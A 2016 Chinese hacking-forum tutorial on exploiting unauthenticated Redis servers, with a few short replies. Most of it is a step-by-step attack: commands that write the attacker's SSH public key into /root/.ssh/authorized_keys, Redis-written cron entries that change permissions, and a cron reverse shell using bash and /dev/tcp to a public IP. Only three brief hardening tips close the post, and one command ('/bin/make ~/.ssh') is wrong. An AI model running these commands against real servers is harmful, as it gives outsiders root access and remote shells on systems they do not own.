请选择 进入手机版 | 继续访问电脑版
查看: 1761|回复: 3

超详细讲解Redis未授权配合SSH免密码登录漏洞&修复

[复制链接]
  • TA的每日心情

    2016-7-16 21:37
  • 签到天数: 10 天

    [LV.3]偶尔看看II

    发表于 2016-3-3 12:24:32 | 显示全部楼层 |阅读模式
    本帖最后由 U神V5 于 2016-3-4 16:20 编辑

    本文由U神原创,转载请注明作者和出处http://www.ihonker.org/thread-7962-1-1.html

    注:由于马虎,出错的地方,现已做修改

    1、了解什么是Redis


    2、了解Redisc客户端redis-cli 、 Redis Desktop Manager


    3、Redis的常用的Key操作命令、配置命令


    4、Redis未授权利用配合SSH免密码登录


    5、解决利用Redis写公钥依然无法登录的情况


    6、修复方案


    Rdis未授权访问主机:CentOS 7   192.168.199.166
    Hacker主机:Kali 2016  192.168.199.199




    1、什么是Redis


       
    Redis是一个开源的使用ANSI C语言编写、Key-Value数据库,并提供多种语言的API,所谓的KEY对Value指的是每一个Key都对应一个value值。value也可以是null。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者用户可以自己手工输入save命令保存在服务器上,并且在此基础上实现了master-slave(主从)同步。


    01.jpg





    2、Redis客户端


    # Redis默认安装好默认端口是6379
    # Redis默认配置是不对外开放,也就是不允许外联,需要用户手工修改/etc/redis/redis.conf
    #  Redis默认情况下是无需任何账户密码进行连接的
    #  Redis安装之后默认会有一个叫 “redis-server”的服务端用于启动redis服务,启动命令“redis-server /etc/redis/redis.conf”
    #  Redis安装之后默认还会有一个“redis-cli”的客户端,用于连接redis数据库,可以自身连接也可以连接其它主机上的redis  


    redis-cli 客户端命令之详解

    redis-cli 常用命令:

               -h  :指定要连接的主机IP或域名
               -p :指定连接的端口
               -a :指定密码
               -r  :执行指定的命令
               -n  :数据库名
               -x :将最后一个参数输出为value
               

    我们在hacker主机Kali下去连接目标主机CentOS的redis,如果我们执行keys *命令不会返回需要认证的那说明目标的redis不需要密码认证。


    02.jpg


    GUI客户端:Redis Desktop Manager


    GUI连接Redis话可以点击 :Connect to Redis Server创建一个连接,可以管理Redis数据,如果需要执行命令,可以在如下的“centos” 右击选择 Console进行Redis的命令行界面,命令行界面在最右下角显示。

    03.jpg




    3、Redis的常用命令


    #key操作命令
      
    set  key value :创建一个key对应的值,如果set test 123456,其中test是key, 123456则是value

    04.jpg

    get key :获取key的值 :

    05.jpg

    keys * :获取所有的key,也可以通配符形式搜索指定的key,如果表示当前有两个key

    06.jpg

    07.jpg

    expire key 10 :设置key的过期时间为10秒,10秒之后这个key就没了

    08.jpg

    del key :删除某个key

    09.jpg


    #服务器操作命令

    info:获取redis以及服务器的基本信息

    10.jpg

    config get  dir :获取cat

    12.jpg

    config set dir  /root/ :设置redis的备份路径为/root/,如果提示没权限说明你当前无权限设置该目录

    13.jpg


    config set dbfilename test.php :设置备份文件的名字为test.php,默认为dump.rdb。

    config get dbfilename :自然就是获取备份数据库的名字。


    14.jpg


    save : 将数据库的内容备份到本地磁盘,默认备份在安装Redis的src目录,名字为dump.rdb





    4、Redis未授权利用造成SSH免密码登录


    # 关于说明是SSH免密码登录请看文章()
    # 满足Redis是以root权限运行
    # 满足服务器上存在.ssh目录,听说是要用SSH登录过都存在,但是我验证好像不是这么回事


    1、ssh-keygen –t rsa  生成公私钥

    15.jpg


    2、在~/.ssh目录下执行:



    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  

       # 这条命令的含义是将id_rsa.pub的内容输出到key.txt,前后各加上两行空行,防止出错
       
    16.jpg


    3、
    cat key.txt | redis-cli -h 192.168.199.166 -x set crackit

    # 这条命令的意思是 连接目标192.168.199.166的redis 通过-x参数将key.txt 设置为 key “crackit” 的value
    实际上对方的数据库上已经有一个key ---value

    17.jpg


    4、  

    redis-cli -h 192.168.199.166 # 连接目标主机的redis
    config get dir #获取redis的备份路径
    config set dir /root/.ssh #设置数据库的备份路径
    config set dbfilename  authorized_keys #设置备份的数据库名称为authorized_keys
    config get dbfilename #   查看数据库名是否正确设置
    keys * #查看我们的key是否成功创建
    save # 将数据保存在硬盘之中

    18.jpg


    5、最后可以成功免密码登录

    19.jpg


    # 原理:  其实原理是在数据库中插入一条数据,将本机的公钥作为value,key的名字随意,然后通过设置备份数据库的路径为/root/.ssh以及对数据库备份名字为authorized_keys,然后这样就可以在目标服务器的路径生成一个授权KEY。

    # 注意:建议是去通过该漏洞获取webshell,获取ssh会发生很多不同问题,比如说save是备份所有数据库,这样会造成很多乱七八糟的数据备份到授权key中导致无法连接,如果在webshell中就不容易出现解析出错的问题了


    5、解决redis写公钥依然无法登录的情况


    有些朋友在利用Redis写公钥依然无法空密码登录,为什么呢?


    解决方法


    1、本地测试被授权的公钥是否能正常登录


    cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized.keys
    ssh localhost


    2、被渗透的服务器上授权key的权限问题应该为600

    利用Linux任务计划来设置授权的authorized_keys权限为600。

    echo -e "\n\n*/1 * * * * /bin/chmod 600 ~/.ssh/authorized_keys\n\n"|redis-cli -h 127.0.0.1 -x set 1
    redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
    redis-cli -h 127.0.0.1 config set dbfilename root
    redis-cli -h 127.0.0.1 save



    #释义:上面这段其实也是保存redis数据的一个过程,不过这个过程是将数据保存为admin,存放在/var/spool/cron下,这个是专门存放任务计划的,而Key 1的值的含义则是:设置任务计划一分钟后执行chmod 600修改authorized_keys的权限为600

    3、服务器没有.ssh目录的问题

    利用Linux任务计划来创建该文件夹


    echo -e "\n\n*/1 * * * * /bin/make ~/.ssh \n\n"|redis-cli -h 127.0.0.1 -x set 2
    redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
    redis-cli -h 127.0.0.1 config set dbfilename root
    redis-cli -h 127.0.0.1 save



    4、.ssh目录权限问题

    利用Linux任务计划来设置.ssh目录的权限问题


    echo -e "\n\n*/1 * * * * /bin/chmod 700 ~/root/.ssh/\n\n"|redis-cli -h 192.168.199.166 -x set 1
    redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
    redis-cli -h 127.0.0.1 config set dbfilename root
    redis-cli -h 127.0.0.1 save


    5、反弹shell,你得有个公网IP

    echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/111.112.111.113/6000 0>&1 \n\n"|redis-cli -h 192.168.199.166 -x set 1
    redis-cli -h 192.168.199.166  config set dir /var/spool/cron
    redis-cli -h 192.168.199.166  config set dbfilename root




    6、不破坏数据选择第一条数据 引自@猪猪侠 微博


    redis的exploit,完全不需要flushall破坏数据场景,redis-cli set 1 'ringzero',这样可以控制第一条记录,就能保证你的内容始终保持在最前面



    6、修复方案

    #  禁止Root启动redis
    #   修改安装目录下的redis.config 将blin 0,0,0,0  设置为指定IP可以登录或者本地登录127.0.0.1
    #   设置密码requirepass  test123!@#$$









    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

    发表于 2016-3-3 13:22:58 | 显示全部楼层
    mark,收藏了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2019-8-2 09:32
  • 签到天数: 227 天

    [LV.7]常住居民III

    发表于 2016-3-3 23:28:31 | 显示全部楼层
    怎么U神不常出现,一出现发了这么多?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2020-7-31 22:26
  • 签到天数: 88 天

    [LV.6]常住居民II

    发表于 2016-3-7 13:51:50 来自手机 | 显示全部楼层
    收藏了 慢慢学习  像大神致敬
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表